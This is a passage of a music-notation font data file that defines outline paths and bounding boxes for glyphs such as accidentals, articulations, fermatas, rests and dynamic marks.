436 -27 b 396 46 436 22 413 33 l 382 55 b 46 243 271 121 157 179 b 12 259 29 253 17 259 b 0 219 1 259 0 248 b 3 -372 0 22 3 -176 b 6 -616 3 -454 6 -536 b 59 -665 6 -638 40 -671 z m 55 -118 l 55 199 b 363 24 156 141 258 84 b 55 -118 259 -24 160 -69 z' }, 'accidentalSori': { 'x_min': 0, 'x_max': 434, 'y_min': -295, 'y_max': 325, 'ha': 620, 'o': 'm 194 -425 b 196 -409 194 -418 196 -413 b 194 -194 196 -337 196 -266 b 364 -127 251 -171 308 -150 b 361 -321 363 -192 364 -256 b 410 -387 360 -357 373 -377 b 413 -373 412 -382 413 -377 b 418 -114 418 -287 418 -200 l 418 -105 b 595 -35 477 -82 536 -59 b 625 0 612 -27 625 -22 b 593 48 624 23 618 39 l 419 117 b 423 370 419 202 423 285 b 426 403 423 382 426 393 b 418 436 426 415 425 426 b 384 468 409 449 399 468 b 369 448 370 468 369 459 b 369 436 369 444 369 441 b 369 428 369 433 369 431 l 369 423 b 367 138 369 328 367 233 l 353 143 l 192 207 l 192 367 b 173 406 192 383 184 396 b 151 422 167 413 160 422 b 144 420 148 422 147 422 b 137 403 138 416 137 410 b 137 392 137 399 137 396 l 137 229 b 33 271 102 243 68 256 b 13 276 26 274 19 276 b 0 262 6 276 0 272 b 35 199 1 239 0 212 l 138 160 b 140 -148 138 58 138 -45 b 56 -181 111 -158 84 -170 b 24 -215 35 -189 24 -199 b 29 -235 24 -220 26 -228 b 49 -253 35 -249 42 -253 b 78 -240 59 -253 69 -243 b 140 -216 98 -233 120 -225 l 140 -356 b 194 -425 140 -406 141 -406 z m 194 -125 b 193 138 194 -37 193 50 b 315 89 233 122 275 107 b 366 71 333 84 350 76 b 364 -58 366 27 366 -16 b 194 -125 308 -81 251 -104 z m 419 -36 l 419 49 l 526 7 l 485 -10 z' }, 'articAccentAbove': { 'x_min': 0, 'x_max': 425, 'y_min': 0, 'y_max': 326, 'ha': 326, 'o': 'm 27 1 b 78 12 46 0 62 6 b 347 112 168 45 253 91 b 521 184 409 128 459 167 b 608 259 557 194 589 220 b 612 274 611 265 612 271 b 598 292 612 281 608 287 b 477 347 559 312 518 331 b 176 465 374 384 275 425 b 156 469 168 468 161 469 b 125 456 145 469 137 465 b 53 370 96 432 78 399 b 45 353 48 363 45 357 b 68 333 45 344 52 337 b 360 225 166 298 262 261 b 192 154 302 203 249 171 b 13 36 120 132 53 105 b 0 13 9 29 0 22 b 0 9 0 12 0 10 b 16 0 3 1 10 0 l 26 0 b 27 1 27 0 27 0 z' }, 'articAccentBelow': { 'x_min': 0, 'x_max': 425, 'y_min': -326, 'y_max': 0, 'ha': 326, 'o': 'm 16 -469 l 26 -469 b 27 -469 27 -469 27 -469 b 78 -458 46 -469 62 -464 b 347 -357 168 -426 253 -380 b 521 -285 409 -341 459 -302 b 608 -210 557 -276 589 -249 b 612 -196 611 -204 612 -200 b 598 -179 612 -189 608 -183 b 477 -122 559 -157 518 -138 b 176 -4 374 -85 275 -45 b 156 0 168 -1 161 0 b 125 -13 145 0 137 -4 b 53 -99 96 -37 78 -71 b 45 -117 48 -107 45 -112 b 68 -137 45 -125 52 -132 b 360 -245 166 -171 262 -209 b 192 -315 302 -266 249 -300 b 13 -433 120 -337 53 -366 b 0 -456 9 -442 0 -448 b 0 -461 0 -458 0 -459 b 16 -469 3 -468 10 -469 z' }, 'articTenutoAbove': { 'x_min': 0.35192668236256364, 'x_max': 471.1238660564107, 'y_min': 0, 'y_max': 56, 'ha': 56, 'o': 'm 137 0 b 197 1 156 0 179 1 b 409 6 268 1 338 6 b 482 4 432 6 459 6 b 556 0 508 3 534 0 b 651 10 588 0 621 3 b 678 27 662 12 678 10 b 654 59 680 45 672 53 b 511 75 606 73 560 73 b 255 81 426 78 341 81 b 160 79 222 81 193 79 l 36 79 b 1 71 24 78 7 85 b 19 32 -3 56 9 43 b 45 16 26 24 36 20 b 137 0 76 3 108 0 z' }, 'articTenutoBelow': { 'x_min': 0.35192668236256364, 'x_max': 471.1238660564107, 'y_min': -59, 'y_max': -3, 'ha': 56, 'o': 'm 137 -85 b 197 -84 156 -85 179 -84 b 409 -79 268 -84 338 -79 b 482 -81 432 -79 459 -79 b 556 -85 508 -82 534 -85 b 651 -75 588 -85 621 -82 b 678 -58 662 -73 678 -75 b 654 -26 680 -40 672 -32 b 511 -10 606 -12 560 -12 b 255 -4 426 -7 341 -4 b 160 -6 222 -4 193 -6 l 36 -6 b 1 -14 24 -7 7 0 b 19 -53 -3 -29 9 -42 b 45 -69 26 -60 36 -65 b 137 -85 76 -82 108 -85 z' }, 'articStaccatoAbove': { 'x_min': 1.4151102965496913, 'x_max': 112, 'y_min': 0, 'y_max': 156, 'ha': 156, 'o': 'm 98 0 b 132 23 109 0 122 7 b 161 112 150 50 161 79 b 158 148 161 124 161 137 b 125 186 154 167 131 167 b 63 225 117 215 85 216 b 23 197 45 222 30 219 b 3 91 12 163 12 127 b 19 66 0 79 4 69 b 65 27 40 62 53 46 b 98 0 76 9 88 0 z' }, 'articStaccatoBelow': { 'x_min': 1.4151102965496913, 'x_max': 112.08403222864916, 'y_min': -156, 'y_max': 0, 'ha': 156, 'o': 'm 132 -202 b 161 -112 151 -174 163 -145 b 158 -76 161 -101 161 -88 b 125 -39 153 -58 131 -58 b 63 0 115 -10 85 -9 b 23 -27 45 -3 30 -6 b 3 -134 12 -62 10 -98 b 19 -158 0 -145 4 -156 b 65 -197 40 -164 53 -179 b 98 -225 75 -216 88 -225 b 132 -202 109 -225 122 -217 z' }, 'articStaccatissimoAbove': { 'x_min': 0, 'x_max': 139, 'y_min': 0, 'y_max': 411, 'ha': 411, 'o': 'm 96 0 l 104 0 b 144 115 143 29 138 75 b 197 423 158 217 180 320 b 200 454 199 433 200 444 b 181 540 200 482 193 513 b 112 592 167 573 141 592 b 55 567 92 592 72 585 b 0 490 32 546 3 527 l 0 484 b 27 279 14 416 14 347 b 84 20 43 193 52 104 b 96 0 86 13 92 6 z' }, 'articStaccatissimoBelow': { 'x_min': 0, 'x_max': 139, 'y_min': -411, 'y_max': 0, 'ha': 411, 'o': 'm 88 -592 b 145 -567 108 -592 128 -585 b 200 -490 168 -546 197 -527 l 200 -484 b 173 -279 186 -416 186 -347 b 117 -20 157 -193 148 -104 b 104 0 114 -13 108 -6 l 96 0 b 56 -115 58 -29 62 -75 b 3 -423 42 -217 20 -320 b 0 -454 1 -433 0 -444 b 19 -540 0 -482 7 -513 b 88 -592 33 -573 59 -592 z' }, 'articMarcatoAbove': { 'x_min': 0.04121419527862119, 'x_max': 396, 'y_min': 0, 'y_max': 328.0000000000001, 'ha': 328.0000000000001, 'o': 'm 477 0 b 510 13 488 0 500 6 b 570 124 546 40 563 81 b 547 183 570 147 560 166 b 356 422 487 265 405 330 b 346 442 354 429 350 436 l 346 444 b 318 465 340 456 330 464 l 312 469 b 274 449 294 480 284 461 b 242 413 262 438 253 425 b 56 196 177 343 112 274 b 1 56 26 154 13 105 b 27 20 -4 35 9 20 b 42 23 32 20 37 20 b 84 53 59 29 72 39 b 255 269 141 125 193 200 b 275 229 262 255 266 242 b 448 14 324 151 390 86 b 477 0 456 4 467 0 z' }, 'articMarcatoBelow': { 'x_min': 0, 'x_max': 395.9587858047214, 'y_min': -328.0000000000001, 'y_max': 0, 'ha': 328.0000000000001, 'o': 'm 258 -469 b 297 -449 276 -480 287 -461 b 328 -413 308 -438 317 -425 b 514 -196 393 -343 458 -274 b 569 -56 544 -154 557 -105 b 543 -20 575 -35 562 -20 b 528 -23 539 -20 533 -20 b 487 -53 511 -29 498 -39 b 315 -269 429 -125 377 -200 b 295 -229 308 -255 304 -242 b 122 -14 246 -151 180 -86 b 94 0 114 -4 104 0 b 60 -13 82 0 71 -6 b 0 -124 24 -40 7 -81 b 23 -183 0 -147 10 -166 b 215 -422 84 -265 166 -330 b 225 -442 216 -429 220 -436 l 225 -444 b 252 -465 230 -456 240 -464 z' }, 'fermataAbove': { 'x_min': -0.04550444040404433, 'x_max': 472, 'y_min': 2.015071727506986, 'y_max': 454, 'ha': 451.984928272493, 'o': 'm 39 10 b 78 108 66 37 71 73 b 163 311 92 181 111 252 b 284 423 199 353 239 392 b 373 458 312 444 340 454 b 433 431 395 458 410 446 b 603 153 530 361 596 276 b 595 121 603 144 595 131 l 595 88 b 602 50 596 75 589 55 b 639 73 619 43 631 60 b 651 102 645 82 648 92 b 667 194 660 132 662 163 b 680 278 671 222 672 248 b 560 567 680 386 638 481 b 396 654 508 625 452 649 b 291 632 364 654 325 644 b 161 526 235 613 200 566 b 4 249 85 446 26 357 b 4 174 0 222 -3 196 b 10 19 4 124 4 69 b 29 4 12 6 16 0 b 39 10 35 4 33 4 z m 338 37 b 370 40 350 36 357 36 b 380 75 387 40 380 43 b 389 94 382 79 382 85 b 356 132 389 111 374 122 b 269 154 328 147 300 156 b 225 125 252 154 228 157 b 261 48 222 81 232 56 b 338 37 287 40 312 40 z' }, 'fermataBelow': { 'x_min': -0.310835055998654, 'x_max': 518.570567335755, 'y_min': -430, 'y_max': -0.9161449836506543, 'ha': 429.08385501634933, 'o': 'm 344 -615 b 500 -543 402 -602 452 -576 b 713 -253 605 -471 661 -364 b 746 -98 737 -204 750 -153 b 727 -59 744 -82 744 -59 b 688 -88 711 -59 694 -68 b 678 -109 687 -96 683 -102 b 562 -314 648 -183 611 -252 b 387 -439 516 -373 458 -416 b 328 -449 367 -446 347 -449 b 180 -386 274 -449 225 -423 b 69 -179 111 -330 69 -262 b 75 -121 69 -160 71 -141 b 84 -58 78 -101 84 -79 b 82 -39 84 -52 84 -45 b 68 -1 79 -26 82 -4 b 26 -32 49 0 33 -12 b 20 -52 24 -39 22 -45 b 0 -223 9 -107 -3 -161 b 141 -553 1 -348 27 -468 b 304 -619 192 -590 243 -619 b 344 -615 317 -619 330 -618 z m 415 -190 b 435 -157 429 -192 435 -184 b 308 -27 435 -86 379 -27 b 271 -46 287 -27 272 -35 b 269 -69 269 -55 269 -62 b 364 -183 269 -128 302 -170 z' }, 'breathMarkComma': { 'x_min': 0, 'x_max': 148, 'y_min': 0, 'y_max': 275, 'ha': 275, 'o': 'm 120 0 b 187 78 156 20 174 48 b 213 209 206 121 213 164 b 206 294 213 238 210 265 b 140 390 200 337 171 367 b 122 396 134 395 128 396 b 68 382 105 396 85 384 b 46 379 60 382 53 382 b 0 328 12 369 0 357 b 1 311 0 323 1 317 b 30 210 4 275 22 243 b 66 167 39 179 46 167 b 94 171 73 167 82 168 b 143 180 109 174 124 180 b 160 179 148 180 154 180 b 120 66 124 145 120 107 b 120 0 120 45 121 23 z' }, 'breathMarkUpbow': { 'x_min': 0, 'x_max': 254, 'y_min': 0, 'y_max': 595, 'ha': 595, 'o': 'm 233 0 b 256 48 251 14 253 30 b 272 183 264 92 265 138 b 311 455 289 274 295 364 b 350 716 327 541 341 628 b 366 815 354 749 366 782 b 359 857 366 829 363 842 b 327 815 334 852 330 832 b 302 674 315 769 310 721 b 248 357 288 567 269 462 b 225 226 240 314 242 268 b 210 251 212 232 213 243 b 69 721 163 408 117 564 b 32 835 58 760 53 801 b 20 851 29 841 27 851 b 14 850 19 851 16 851 b 0 828 6 847 0 838 l 0 825 b 12 765 1 804 7 785 b 194 125 73 552 132 338 b 233 0 206 84 213 42 z' }, 'caesura': { 'x_min': 0, 'x_max': 565.5831864753837, 'y_min': -0.09016994374947417, 'y_max': 562.4481112129314, 'ha': 562.5382811566809, 'o': 'm 226 1 b 248 13 238 -4 243 7 l 353 137 b 759 638 490 302 632 464 b 814 805 795 688 819 740 b 779 786 796 805 788 796 b 628 609 724 732 678 668 b 310 242 523 485 416 363 b 217 69 265 190 217 140 b 222 30 217 58 219 45 b 222 23 222 29 220 26 b 220 12 222 20 220 16 b 226 1 220 7 222 3 z m 0 76 b 49 122 24 92 37 107 b 444 613 180 287 305 455 b 528 770 484 660 518 708 b 531 792 530 778 531 785 b 524 808 531 799 530 805 b 490 792 513 815 498 802 b 390 683 456 756 420 721 b 48 262 275 543 164 400 b 0 76 0 207 7 145 z' }, 'caesuraCurved': { 'x_min': 0, 'x_max': 386, 'y_min': -10, 'y_max': 584, 'ha': 594, 'o': 'm 180 -14 b 246 14 213 -13 230 0 b 347 144 288 52 315 99 b 526 471 420 246 488 350 b 556 671 546 537 556 603 b 543 798 556 713 553 756 b 504 837 537 822 521 828 b 490 841 500 840 494 841 b 472 832 482 841 477 838 b 406 678 436 785 406 737 b 410 638 406 665 408 652 b 425 511 419 595 425 553 b 315 186 425 395 387 287 b 180 -14 271 122 228 58 z m 14 24 b 49 39 29 24 40 32 b 120 114 76 60 99 85 b 216 276 156 166 184 223 b 317 626 281 384 317 501 b 315 664 317 639 317 651 b 301 773 314 701 311 737 b 262 808 295 795 278 808 b 245 799 256 808 249 805 b 170 641 209 750 170 706 b 171 621 170 634 170 628 b 177 511 176 585 177 549 b 114 229 177 415 160 320 b 0 26 79 161 42 95 b 14 24 6 24 10 24 z' }, 'restMaxima': { 'x_min': 0, 'x_max': 366, 'y_min': -255, 'y_max': 255, 'ha': 510, 'o': 'm 397 -367 b 504 -343 436 -367 468 -347 b 518 -318 516 -341 518 -330 b 527 -30 518 -217 527 -117 b 526 33 527 -7 527 13 l 526 301 b 501 350 526 323 520 341 b 428 367 477 361 452 367 b 374 359 410 367 393 364 b 357 333 361 354 357 347 b 356 91 357 252 356 171 l 356 30 b 340 -307 357 -82 346 -194 b 397 -367 337 -354 350 -367 z m 46 -357 b 58 -356 49 -357 53 -357 b 154 -333 91 -351 121 -338 b 173 -305 168 -330 173 -320 l 173 302 b 132 356 173 330 157 348 b 68 364 112 363 89 364 b 3 304 19 363 1 348 l 3 4 l 0 4 b 1 -302 0 -98 0 -200 b 46 -357 1 -331 16 -357 z' }, 'restDoubleWhole': { 'x_min': 0, 'x_max': 122, 'y_min': 0, 'y_max': 249, 'ha': 249, 'o': 'm 43 0 b 58 1 48 0 52 0 b 124 20 81 6 102 17 b 176 96 173 27 176 58 b 173 220 174 138 173 179 b 176 304 173 248 176 276 b 140 353 176 331 163 346 b 95 359 125 356 111 359 b 32 346 73 359 52 354 b 0 315 20 340 0 337 b 1 243 0 291 1 268 l 1 174 l 4 174 l 4 48 b 43 0 4 16 17 0 z' }, 'restWhole': { 'x_min': 0.8908513171538642, 'x_max': 500, 'y_min': -120, 'y_max': 14, 'ha': 134, 'o': 'm 76 -173 l 356 -173 l 356 -171 l 642 -171 b 719 -115 680 -171 717 -145 b 720 -82 719 -104 720 -92 b 711 -20 720 -60 719 -40 b 672 17 704 0 694 10 b 649 20 664 20 657 20 b 605 17 634 20 621 17 b 92 19 433 17 262 17 b 29 7 69 20 49 12 b 9 -17 12 4 9 -6 b 10 -43 9 -26 10 -35 b 1 -84 10 -58 3 -72 b 76 -173 0 -147 7 -173 z' }, 'restHalf': { 'x_min': 0, 'x_max': 518.3998530468286, 'y_min': 0, 'y_max': 162, 'ha': 162, 'o': 'm 98 0 l 446 0 l 556 0 b 665 1 592 0 629 0 b 746 82 720 3 743 29 b 736 174 749 114 740 144 b 670 232 729 215 708 232 b 570 229 636 232 603 229 b 356 233 498 229 426 233 l 73 233 b 0 179 19 233 0 220 b 1 154 0 171 0 164 b 6 95 4 135 6 115 b 98 0 3 27 29 0 z' }, 'restQuarter': { 'x_min': -0.3784452492533808, 'x_max': 263, 'y_min': -415, 'y_max': 415, 'ha': 830, 'o': 'm 151 -596 b 164 -563 163 -589 161 -575 b 160 -546 164 -557 161 -552 b 124 -396 148 -495 135 -446 b 122 -380 122 -390 122 -384 b 199 -255 122 -331 158 -272 b 228 -256 209 -249 217 -253 b 324 -346 274 -271 298 -310 b 353 -369 331 -356 341 -369 b 360 -367 356 -369 357 -369 b 379 -336 373 -361 379 -348 l 377 -325 b 344 -232 372 -292 366 -258 b 249 -58 301 -180 278 -117 b 242 -36 245 -49 242 -42 b 258 -7 242 -26 248 -17 b 328 78 284 20 311 45 b 354 158 344 104 354 131 b 337 216 354 177 350 196 b 213 435 294 288 249 359 b 115 575 189 487 158 536 b 78 598 105 585 92 598 b 59 592 72 598 66 596 b 39 562 45 583 39 572 b 53 527 39 550 45 539 b 168 344 98 469 125 402 b 187 307 181 328 187 317 b 153 269 187 294 176 284 b 62 213 122 252 91 235 b 40 180 48 203 40 192 b 46 158 40 173 43 166 b 99 65 60 125 79 95 b 183 -79 131 20 160 -29 b 156 -86 173 -88 164 -85 b 0 -261 58 -99 -7 -173 b 96 -557 10 -366 49 -464 b 124 -585 102 -569 109 -580 b 145 -598 132 -588 138 -598 b 151 -596 147 -598 150 -598 z' }, 'rest8th': { 'x_min': 0, 'x_max': 289, 'y_min': -260, 'y_max': 261, 'ha': 521, 'o': 'm 164 -374 b 212 -340 190 -373 203 -357 b 276 -190 238 -292 258 -242 b 410 285 333 -36 359 128 b 416 314 413 294 416 304 l 416 321 b 393 354 415 341 410 354 b 382 353 389 354 386 354 b 292 311 347 347 315 333 b 174 225 256 276 216 251 b 157 219 168 222 163 219 b 140 228 151 219 145 222 b 131 246 134 233 131 240 b 135 262 131 252 132 256 b 147 298 141 272 147 285 b 127 367 147 323 154 354 b 94 376 114 373 102 376 b 48 336 75 376 63 363 b 3 181 20 288 12 235 b 0 150 1 170 0 160 b 109 24 0 84 35 24 b 171 36 127 24 148 27 b 289 101 213 52 248 75 b 164 -374 256 -62 193 -213 z' }, 'rest16th': { 'x_min': 0, 'x_max': 333, 'y_min': -328.283950617284, 'y_max': 244, 'ha': 572.2839506172841, 'o': 'm 209 -471 b 246 -458 222 -477 236 -468 b 307 -338 279 -425 300 -384 b 324 -226 312 -301 317 -262 b 428 161 350 -94 386 35 b 480 318 445 215 480 259 b 467 347 480 331 477 341 b 445 351 461 350 454 351 b 408 337 432 351 419 347 b 402 333 405 336 403 334 b 223 215 344 294 294 245 b 236 259 229 233 235 246 b 238 276 238 265 238 271 b 212 338 238 302 226 334 b 193 341 206 340 199 341 b 86 289 156 341 104 317 b 59 180 66 255 59 217 b 156 27 59 76 92 27 b 236 46 179 27 204 35 b 338 101 271 59 298 82 b 289 -49 312 49 302 0 b 196 -122 276 -99 235 -107 b 176 -114 187 -127 176 -127 l 176 -111 b 157 -53 177 -88 164 -72 b 69 -9 141 -7 101 -16 b 17 -48 43 -3 29 -27 b 0 -127 4 -73 0 -99 b 6 -186 0 -147 1 -167 b 82 -294 17 -262 37 -294 b 160 -276 102 -294 128 -289 b 219 -242 181 -268 203 -259 b 236 -230 223 -236 229 -230 b 243 -232 239 -230 240 -230 b 235 -275 248 -246 239 -261 b 202 -456 220 -334 202 -395 b 209 -471 202 -462 203 -468 z' }, 'rest32nd': { 'x_min': 0, 'x_max': 347, 'y_min': -497.5023916875033, 'y_max': 483, 'ha': 980.5023916875033, 'o': 'm 177 -716 b 217 -690 194 -720 209 -704 b 233 -655 225 -680 230 -668 b 292 -390 253 -567 275 -480 b 361 -48 312 -275 336 -161 b 452 400 393 102 422 252 b 497 629 467 477 482 553 b 500 647 498 635 500 641 b 480 691 500 665 492 684 b 464 696 475 694 469 696 b 418 674 448 696 431 685 l 361 626 b 333 611 353 618 343 612 b 308 629 325 611 317 616 b 239 667 292 651 265 661 b 204 670 228 668 216 670 b 86 559 141 670 95 628 b 85 537 86 552 85 544 b 107 416 85 495 95 455 b 161 372 114 389 134 372 b 174 373 166 372 170 372 b 226 383 192 374 209 377 b 387 478 285 402 330 444 b 364 386 379 444 364 415 b 276 271 364 323 320 298 b 265 266 272 268 268 266 b 252 276 261 266 256 269 b 143 333 229 311 186 333 b 107 327 130 333 118 330 b 43 243 62 314 46 291 b 58 145 43 210 52 179 b 150 63 68 92 99 63 b 315 132 213 63 259 98 b 266 -58 297 63 281 4 b 207 -101 259 -91 230 -96 b 186 -66 186 -107 199 -75 b 180 -50 181 -63 183 -55 b 101 -3 160 -23 135 -3 b 9 -66 59 -3 20 -32 b 0 -118 3 -84 0 -101 b 10 -196 0 -144 6 -170 b 104 -287 20 -256 52 -287 b 137 -282 114 -287 125 -287 b 184 -269 151 -281 171 -269 b 196 -275 190 -269 193 -271 b 199 -287 197 -278 199 -282 b 184 -343 199 -304 189 -325 b 181 -348 184 -346 183 -347 b 134 -595 158 -429 131 -508 b 156 -677 134 -624 150 -648 b 177 -716 158 -693 160 -713 z' }, 'rest64th': { 'x_min': 0, 'x_max': 428, 'y_min': -720, 'y_max': 473.6797408388932, 'ha': 1193.6797408388932, 'o': 'm 200 -1037 b 229 -1012 215 -1037 222 -1025 b 238 -984 233 -1004 236 -994 b 282 -780 248 -914 265 -848 b 386 -369 317 -644 354 -507 b 491 104 422 -212 451 -53 b 600 541 528 249 550 399 b 616 629 611 570 616 599 b 600 680 616 648 615 671 b 550 665 586 687 566 677 b 480 618 527 649 501 635 b 464 611 474 613 468 611 b 448 622 458 611 454 615 b 366 662 425 651 397 662 b 331 658 354 662 343 661 b 242 572 285 647 253 619 b 236 528 239 557 236 543 b 266 400 236 484 251 442 b 325 373 274 377 301 373 b 436 409 366 373 403 383 l 494 452 b 474 360 485 416 474 389 b 383 248 474 297 435 269 b 320 328 377 288 351 310 b 276 341 305 337 291 341 b 186 269 235 341 194 311 b 181 230 183 256 181 243 b 187 153 181 204 186 179 b 279 63 192 86 233 63 b 304 65 288 63 295 63 b 416 115 344 72 379 92 b 387 -14 406 69 397 27 b 320 -95 380 -52 369 -86 b 318 -79 320 -89 320 -84 b 223 0 305 -29 271 0 b 122 -81 171 0 135 -30 b 118 -127 120 -96 118 -112 b 118 -196 118 -150 118 -173 b 137 -242 118 -215 125 -229 b 209 -275 157 -266 181 -275 b 249 -269 222 -275 235 -274 b 318 -248 272 -264 294 -255 b 281 -390 315 -301 292 -344 b 276 -400 279 -393 279 -397 b 259 -420 272 -408 266 -416 b 246 -429 255 -425 251 -429 b 233 -415 242 -429 238 -426 b 176 -359 225 -389 200 -372 b 121 -346 158 -348 140 -346 b 14 -408 73 -346 27 -370 b 0 -498 4 -438 0 -468 b 6 -564 0 -520 3 -543 b 91 -635 12 -611 45 -635 b 131 -629 104 -635 117 -634 b 223 -590 163 -622 190 -603 b 166 -824 203 -671 189 -747 b 148 -912 157 -852 148 -881 b 156 -955 148 -926 150 -940 b 177 -1008 161 -972 170 -991 b 200 -1037 181 -1020 183 -1037 z' }, 'rest128th': { 'x_min': 0.6717818579024267, 'x_max': 491, 'y_min': -711, 'y_max': 719, 'ha': 1430, 'o': 'm 233 -1015 b 271 -956 256 -1002 266 -981 l 314 -723 b 393 -350 337 -598 366 -474 b 543 312 442 -128 492 91 b 687 841 583 490 635 665 b 707 958 698 880 707 919 b 706 986 707 968 707 976 b 688 1025 704 999 704 1024 b 670 1027 683 1025 677 1027 b 629 1007 655 1027 639 1022 b 559 945 613 981 586 968 b 541 1004 553 968 559 991 b 456 1035 516 1024 488 1035 b 419 1030 444 1035 431 1034 b 344 953 379 1018 353 995 b 340 900 341 936 340 917 b 341 847 340 881 341 864 b 380 779 340 815 354 793 b 464 763 406 765 435 762 b 592 814 510 763 549 786 b 546 660 575 757 556 710 b 480 585 537 619 517 598 b 478 599 480 590 478 595 b 386 678 472 641 428 678 b 294 612 343 678 304 651 b 279 477 282 567 278 521 b 363 395 281 428 317 395 b 380 396 369 395 374 395 b 488 436 416 403 449 419 b 384 233 469 357 468 275 b 359 291 373 252 377 276 b 282 318 337 310 310 318 b 181 264 243 318 203 298 b 154 107 153 216 154 161 b 242 6 154 42 187 6 b 278 10 253 6 265 7 b 408 88 330 22 366 55 b 387 -1 400 56 393 27 b 301 -112 379 -55 354 -94 b 289 -65 297 -95 302 -79 b 219 -32 269 -42 245 -32 b 183 -37 207 -32 196 -35 b 112 -109 144 -46 121 -71 b 105 -219 104 -145 108 -183 b 186 -315 101 -276 134 -315 b 230 -307 199 -315 215 -312 b 324 -256 264 -295 292 -275 b 180 -491 323 -383 266 -471 b 183 -459 180 -480 180 -469 b 184 -442 184 -454 184 -448 b 184 -436 184 -441 184 -438 b 135 -369 184 -403 170 -383 b 102 -363 125 -364 114 -363 b 29 -399 73 -363 45 -376 b 1 -556 -4 -448 6 -503 b 109 -670 -4 -625 43 -670 b 140 -667 118 -670 130 -668 b 253 -616 180 -658 213 -638 b 238 -688 248 -644 242 -665 b 192 -959 220 -779 192 -867 b 193 -992 192 -971 192 -981 b 210 -1024 194 -1014 199 -1024 b 233 -1015 216 -1024 223 -1021 z' }, 'dynamicPiano': { 'x_min': -49, 'x_max': 326.5019318364244, 'y_min': -142, 'y_max': 515, 'ha': 657, 'o': 'm -56 -204 b -42 -202 -52 -204 -46 -203 b -19 -194 -35 -202 -26 -197 b 147 -138 35 -170 91 -151 b 249 -58 194 -127 223 -95 b 262 -29 255 -50 262 -39 b 258 -17 262 -24 261 -20 b 232 -7 252 -10 242 -7 b 210 -12 225 -7 217 -9 b 125 -40 184 -23 157 -30 b 183 140 153 19 171 79 b 251 167 207 144 230 153 b 469 518 383 262 480 382 b 357 687 472 626 420 687 b 315 678 344 687 330 684 b 204 600 279 664 240 634 b 210 704 206 635 209 670 b 215 721 212 710 215 716 b 206 733 215 727 212 730 b 180 742 197 736 189 742 b 164 734 176 742 170 740 b 1 575 108 684 36 645 b -7 557 -1 569 -7 563 b -6 553 -7 556 -7 554 b 7 547 -3 547 3 547 l 17 547 b 82 575 43 547 59 567 l 82 452 b 56 46 82 317 81 180 b 17 -66 49 7 46 -36 b -62 -173 -13 -99 -37 -135 b -71 -192 -66 -179 -71 -184 b -68 -199 -71 -193 -69 -196 b -56 -204 -65 -203 -60 -204 z m 196 258 b 197 266 197 261 197 264 b 200 510 200 347 199 429 b 233 543 210 521 222 533 b 281 560 249 554 266 560 b 340 503 310 560 333 540 b 344 461 343 488 344 474 b 321 323 344 413 333 369 b 268 272 315 300 295 281 b 196 258 245 265 220 261 z' }, 'dynamicMezzo': { 'x_min': -18, 'x_max': 559, 'y_min': -50, 'y_max': 365, 'ha': 415, 'o': 'm 43 -71 b 160 19 86 -71 143 -26 b 230 264 189 99 200 184 b 282 363 243 297 259 327 b 287 320 285 347 287 333 b 284 279 287 305 285 292 l 249 -12 b 275 -43 248 -29 245 -43 b 395 45 321 -43 389 3 b 462 271 406 124 436 197 b 523 387 475 310 490 348 l 523 346 b 504 130 521 274 513 202 b 501 81 501 114 501 98 b 510 3 501 55 504 29 b 580 -72 521 -48 543 -72 b 625 -63 593 -72 608 -69 b 789 50 690 -43 744 -3 b 805 72 795 56 805 63 b 798 85 805 76 802 81 b 778 94 792 91 785 94 b 755 85 770 94 763 91 l 693 40 b 675 33 685 36 680 33 b 658 52 668 33 662 39 b 645 144 651 82 645 112 b 658 448 641 246 660 346 b 606 507 658 485 638 507 b 583 504 599 507 592 505 b 495 446 547 497 521 471 b 420 373 471 423 448 399 b 413 458 418 406 418 432 b 361 507 408 490 386 507 b 320 491 347 507 333 501 b 160 307 256 444 207 382 l 160 337 b 174 488 160 387 174 438 b 156 521 174 501 173 513 b 137 526 148 524 143 526 b 109 513 127 526 118 520 b -16 399 66 477 23 439 b -26 383 -20 395 -26 389 b -26 379 -26 382 -26 380 b -14 370 -24 372 -20 370 b -6 372 -12 370 -9 372 b 19 376 4 374 12 376 b 36 359 32 376 36 370 b 30 330 36 350 35 341 l 30 323 b 9 -35 23 203 17 85 b 43 -71 6 -65 19 -71 z' }, 'dynamicForte': { 'x_min': -144, 'x_max': 311.30112136775, 'y_min': -115.3876295915697, 'y_max': 504, 'ha': 619.3876295915697, 'o': 'm -101 -166 b 173 76 7 -153 150 -30 b 206 344 192 164 202 253 b 268 338 226 343 246 341 b 384 395 317 333 353 361 b 397 419 393 405 397 412 b 367 442 397 429 387 436 b 350 444 361 444 356 444 b 206 455 302 449 255 454 l 206 474 b 202 540 204 495 202 518 b 209 593 202 557 203 576 b 236 624 215 613 225 624 b 265 612 245 624 253 619 b 308 552 287 596 302 577 b 336 533 312 534 323 533 b 448 611 366 533 444 583 b 399 696 452 648 423 671 b 382 706 395 700 387 703 b 308 726 357 720 333 726 b 207 684 272 726 239 711 b 60 455 135 622 60 560 l 10 455 b -23 448 -1 455 -13 454 b -102 372 -55 426 -76 397 b -109 357 -108 367 -109 361 b -95 347 -109 353 -105 348 b -63 346 -84 346 -73 346 b 0 344 -43 344 -22 344 b 63 344 22 344 43 344 b 53 186 63 291 59 239 b 23 0 46 124 42 60 b -35 -60 10 -42 -6 -60 b -73 -52 -45 -60 -58 -58 b -91 -48 -79 -49 -85 -48 b -109 -53 -96 -48 -102 -49 b -199 -124 -143 -72 -168 -99 b -207 -137 -203 -128 -207 -132 b -194 -148 -207 -141 -203 -145 b -101 -166 -164 -160 -132 -168 z' }, 'dynamicRinforzando': { 'x_min': -75, 'x_max': 322.0960720195126, 'y_min': -90, 'y_max': 325, 'ha': 415, 'o': 'm 23 -130 b 40 -125 27 -130 33 -128 b 128 -9 81 -114 125 -53 b 145 200 132 62 141 130 b 148 238 147 212 148 225 b 308 321 184 291 245 321 b 363 314 325 321 344 318 b 377 310 369 312 373 310 b 384 311 380 310 382 310 b 464 415 410 317 464 389 b 446 433 465 429 455 429 b 390 445 428 441 409 445 b 305 429 361 445 334 438 b 167 346 252 413 202 393 b 153 325 163 338 158 333 b 148 438 154 363 151 399 b 121 468 147 456 134 468 b 101 458 115 468 108 465 b -63 310 46 409 -16 367 b -108 240 -78 289 -98 271 b 32 330 -50 256 -13 297 b 37 304 37 320 37 312 l 37 292 b 10 -101 27 161 20 30 b 23 -130 9 -120 12 -130 z' }, 'dynamicSforzando': { 'x_min': 0, 'x_max': 296, 'y_min': 0, 'y_max': 379, 'ha': 379, 'o': 'm 151 0 b 174 1 160 0 166 0 b 392 158 272 14 346 71 b 405 207 400 174 405 